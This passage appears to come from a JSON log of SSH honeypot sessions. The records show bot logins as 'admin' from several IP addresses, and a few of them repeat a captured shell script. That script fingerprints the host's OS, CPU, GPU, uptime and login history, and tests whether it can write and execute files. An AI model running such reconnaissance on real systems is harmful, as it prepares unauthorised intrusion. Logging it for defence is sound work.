  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:55:46.699587+00:00",
  "ended_at": "2026-08-25T18:55:46.844844+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "23b9861f-bf99-4c25-b72b-7bf1ccc72fa8",
  "name": "mottled-nameless-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 42200,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:54:04.172795+00:00",
  "ended_at": "2026-08-25T18:54:04.276595+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8cff936c-793b-4200-82a5-effe6d6c3524",
  "name": "supple-bronzed-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 39270,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:52:16.027643+00:00",
  "ended_at": "2026-08-25T18:52:16.127651+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "34193fa6-19ea-47b7-b5e3-4874dfa2b19e",
  "name": "blunt-earnest-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 36368,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:50:26.077573+00:00",
  "ended_at": "2026-08-25T18:50:26.439001+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d498bb5e-7b70-4fc3-a659-055417aeef4b",
  "name": "airy-buoyant-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 33452,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:48:41.843589+00:00",
  "ended_at": "2026-08-25T18:48:41.946093+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c91668f8-8882-4093-8e9b-54d75947a719",
  "name": "barren-shifting-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 35458,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T18:26:52.682546+00:00",
  "ended_at": "2026-08-25T18:27:02.389593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e63b28b-d6ec-437f-98a3-da23292e7bc4",
  "name": "proud-frugal-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 59118,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T17:57:31.615347+00:00",
  "ended_at": "2026-08-25T17:57:32.163816+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81a9e010-a644-4a48-b40f-56c963d47931",
  "name": "brave-muted-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 51522,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T17:28:10.087146+00:00",
  "ended_at": "2026-08-25T17:28:19.782107+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d352b25-77c2-4695-a239-1e169c229edb",
  "name": "dusky-grumpy-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 52120,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T16:47:51.375415+00:00",
  "ended_at": "2026-08-25T16:47:51.944200+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33fcab50-d3f0-4d9b-b191-66e80d934342",
  "name": "mindful-amber-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 50594,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T16:29:52.008855+00:00",
  "ended_at": "2026-08-25T16:30:01.703843+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b141781a-1867-4794-b446-f99a107c137c",
  "name": "crisp-northern-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.27",
  "src_port": 18462,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T16:00:58.807998+00:00",
  "ended_at": "2026-08-25T16:00:59.190537+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2997f8c9-34ad-4c65-90eb-977b4595be81",
  "name": "placid-peaty-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 39024,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 